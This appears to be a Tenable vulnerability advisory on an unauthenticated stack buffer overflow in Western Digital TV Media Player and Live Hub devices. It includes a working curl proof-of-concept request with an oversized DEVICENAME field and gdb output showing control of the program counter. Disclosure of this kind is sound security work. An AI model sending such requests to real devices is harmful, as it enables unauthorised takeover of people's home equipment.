[R1] Western Digital TV Media Player and Live Hub Unauthenticated RCE

Tenable discovered an unauthenticated stack buffer overflow in the Western Digital TV Media Player and Live Hub Media Center products. Tenable discovered this vulnerability while analyzing SEC Consult's Western Digital TV Media Player security advisory.

A common idiom used throughout the WD Media device web interface is to respond with a 403 Forbidden error to any request that is not from the LAN. However, this restriction doesn't appear to apply to the cgi scripts in /cgi-bin/. One of these cgi scripts processes JSON data that is sent to it. For example, the following request changes the device's name:

albinolobster@ubuntu:~$ curl -v -d '{ "DEVICENAME": "lol" }' http://192.168.1.93/cgi-bin/toServerValue.cgi
*   Trying 192.168.1.93...
* Connected to 192.168.1.93 (192.168.1.93) port 80 (#0)
> POST /cgi-bin/toServerValue.cgi HTTP/1.1
> Host: 192.168.1.93
> User-Agent: curl/7.47.0
> Accept: */*
> Content-Length: 23
> Content-Type: application/x-www-form-urlencoded
> 
* upload completely sent off: 23 out of 23 bytes
< HTTP/1.1 200 OK
< Date: Mon, 9 Oct 2017 20:09:22 GMT
< Server: Apache
< Debug: haha
< X-Orion-Version: 1.0
< Transfer-Encoding: chunked
< Content-Type: text/html;charset=iso-8859-1;debug:[{ "DEVICENAME": "lol" }]
< 
{ "success": 1 }
* Connection #0 to host 192.168.1.93 left intact

When a large string is placed in the device name field a stack buffer overflow occurs. As such this request:

curl -v -d '{"DEVICENAME":"WDLIVETVaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAA"}' http://192.168.1.93/cgi-bin/toServerValue.cgi

Results in the following crash:

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info registers
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 7618af0c 00000000 00000000 00408d00 76132948 004942b8 00000000 
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   000003ff 7611f540 00000002 76fff030 ffffffff 76ffef88 767d8b84 00440000 
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  61616161 61616161 61616161 61616161 61616161 61616161 61616161 61616161 
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  00000068 7620ff20 00000000 00000000 76281950 76fff690 61616161 41414141 
            sr       lo       hi      bad    cause       pc
      20000010 000001df 00000292 41414140 00000000 41414141 
           fsr      fir
      00000000 00739300